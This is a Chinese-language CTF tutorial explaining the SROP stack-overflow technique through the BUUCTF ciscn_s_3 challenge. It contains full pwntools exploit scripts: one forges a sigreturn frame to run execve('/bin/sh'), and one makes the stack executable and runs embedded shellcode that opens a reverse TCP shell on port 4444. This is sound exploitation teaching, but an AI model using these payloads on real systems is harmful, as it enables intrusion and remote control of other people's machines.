欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

栈溢出SROP攻击

程序员文章站 2022-05-15 22:09:40
...

高级ROP-SROP利用

在刷题时碰到这个考察点,有点震撼,特意记录下。

SROP简介

  • SROP也即Sigreturn Oriented Programming。很显然这种攻击方式与Unix系统调用Sigreturn相关。它在发生signal的时候会被间接调用。

  • Signal在unix下的机制(窃图),发生signal时,会在user和kernel直接切换。系统会为当前进程保存上下文。完成后会从核心态退出时,会执行sigreturn恢复上下文。

栈溢出SROP攻击

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

栈溢出SROP攻击

  • 上面这段内存又称为"Signal Frame"。

SROP Attack原理

  • 问题出现在,内核保存的上下文是在用户态控制的栈上(可以伪造的),而切换为用户态时,并没有检查这段内存是否发生改变。也就造成了可利用的可能。

  • 攻击示意图

栈溢出SROP攻击
  • 上面的攻击中,需要满足以下几个条件

    1、 存在栈溢出
    2、可以泄露栈地址,(即可以知道参数的地址)
    3、需要syscall的地址
    4、需要sigreturn的地址   (强制按照frame内存恢复进程状态)

    相比较传统的ROP攻击,需要的gadgets更少,构造更方便。

  • 连续攻击

栈溢出SROP攻击

  • 只需要设置栈指针rsp的值为下一个攻击地址,同时rip的地址设置为&(syscall; ret;)即可。

实例

  • BUUCTFciscn_s_3题目

    • 漏洞分析

栈溢出SROP攻击

  • 这里有两个系统调用,需要在gdb调试,发现就是read和write操作。且存在栈溢出

  • 一般ROP
    • 泄露libc地址,利用gadgets执行execve或者system或者one_gadget。

    • 实际操作发现,rdx的值我们无法控制。execve和system都是行不通的。但是发现一个有趣的gadget

栈溢出SROP攻击

    • 这里,实际提供了一个mov eax, 0; ret;的gadget。为one_gadget和read的syscall都可以提供基础。

      当然,也可以利用eax是作为函数的返回值的这一个特性,利用read特定的字节得到需要的eax。(注意这里的read也可以是syscall实现的,且上面的mov eax, 0 的gadget可以为我们syscall read提供条件)

    • 可以one_gadget达到get shell的目的。

  • SROP和攻击。
    • 看到这个题目很少人做出来,猜到应该不是这么简单的操作。而且程序中明确指出的gadget很奇怪

栈溢出SROP攻击

  • 15的系统号是rt_sigreturn,3b的系统调用是execve。(我都没用到。。。)

  • 搜索一番,看到一个师傅的骚操作。

  • 就是我们上面提到的SROP攻击思路,泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的。

  • 学习一波,记录这种方式的exp(pwntools提供了Sigreturn Frame的构建)

payload = "/bin/sh\x00"
payload += '\x00' * 8
payload += p64(main)
p.send(payload)          #write(1, stack_addr, 0x30)
                #will leak an address on stack
p.recv(32)


stack_addr = u64(p.recv(8)) - 0x118  #rsi
print "stack_addr ==> " + hex(stack_addr)


p.recv(8)
#SROP Attack


frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr          #&'/bin/sh'
frame.rsi = 0
frame.rdx = 0
frame.rsp = stack_addr
frame.rip = syscall


payload = 'a'*0x10
payload += p64(rt_sigreturn)      #强制sigreturn,改变frame
payload += p64(syscall)
payload += str(frame)
p.send(payload)


p.interactive()
p.close()
  • 拓展利用-连续攻击生成backdoor。(return shell with reverse tcp 0.0.0.0 4444)
    • 这里用到mprotect(start, len, prot)修改栈为RWX属性。

  • 直接设置fake frame的rsp为shellcode的地址。

main = 0x4004F1
syscall = 0x400517       #syscall; ret
  rt_sigreturn = 0x4004DA     #mov eax, 0xf; ret
    
  payload = '\x00' * 0x10
payload += p64(main)
  p.send(payload)          #write(1, stack_addr, 0x30)
                #will leak an address on stack
  p.recv(32)
  
  stack_addr = u64(p.recv(8)) - 0x118  #rsi
  print "stack_addr ==> " + hex(stack_addr)
  p.recv(8)
  
  
  frame1 = SigreturnFrame()        
  frame1.rax = constants.SYS_mprotect
  frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000
  frame1.rsi = 0x1000              
  frame1.rdx = 7              
  frame1.rsp = stack_addr + 0x120    #frame2_sigreturn
  frame1.rip = syscall
  
  
  shellcode =  "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" \
         "\x5e\x48\x31\xd2\x0f\x05\x48\x97" \
       "\x6a\x02\x66\xc7\x44\x24\x02\x11" \
       "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" \
       "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" \
       "\x58\x48\xff\xce\x0f\x05\xe0\xf6" \
       "\x48\x31\xf6\x56\x48\xbf\x2f\x62" \
       "\x69\x6e\x2f\x2f\x73\x68\x57\x54" \
       "\x5f\xb0\x3b\x99\x0f\x05"
  
  payload = '\x00'*0x10           #rop_chain  stack_addr+8
  payload += p64(rt_sigreturn)
  payload += p64(syscall)          #sigreturn
  payload += str(frame1)
  payload += p64(stack_addr + 0x128)
payload += shellcode

在4444监听之后,运行exp就可以看到得到了返回的shell。

栈溢出SROP攻击

  • 几个注意点
    1、一个frame框架是0xf8大小(0x64)。
    2、泄露的栈地址,返回再次利用时,偏移可能有些变动,建议调试确定。
    3、对于连续利用的所有指针参数,利用pop_ret的方式将参数保存在栈上,从而可以确参数定地址。


SROP与ROP的比较

  • 利用难度。众所周知,ROP的攻击方式比较普遍,安全防护相应的也比较多。在真实的系统中,相应的gadgets比较难以获取。反观SROP,需要的gadgets少,主要在于伪造一个Frame。

  • 代码复用性。由于ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用(有时候即使返回init状态,也难以再次恢复stack状态)。而SROP则不然,每次只需要伪造对应的Frame,rt_sigreturn的调用都能够强制切换到我们需要的状态。有着极高的代码复用性。

SROP攻击的更多资料

  • paper

  • slides

  • Sigreturn Oriented Programming (SROP) Attack攻击原理

多说一句这种攻击方式,真心觉得强大

推荐实验:ARM漏洞利用技术四--内存布局及栈溢出

栈溢出SROP攻击

栈溢出SROP攻击

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:aaa@qq.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

栈溢出SROP攻击

栈溢出SROP攻击

点击“阅读全文”,做实验啦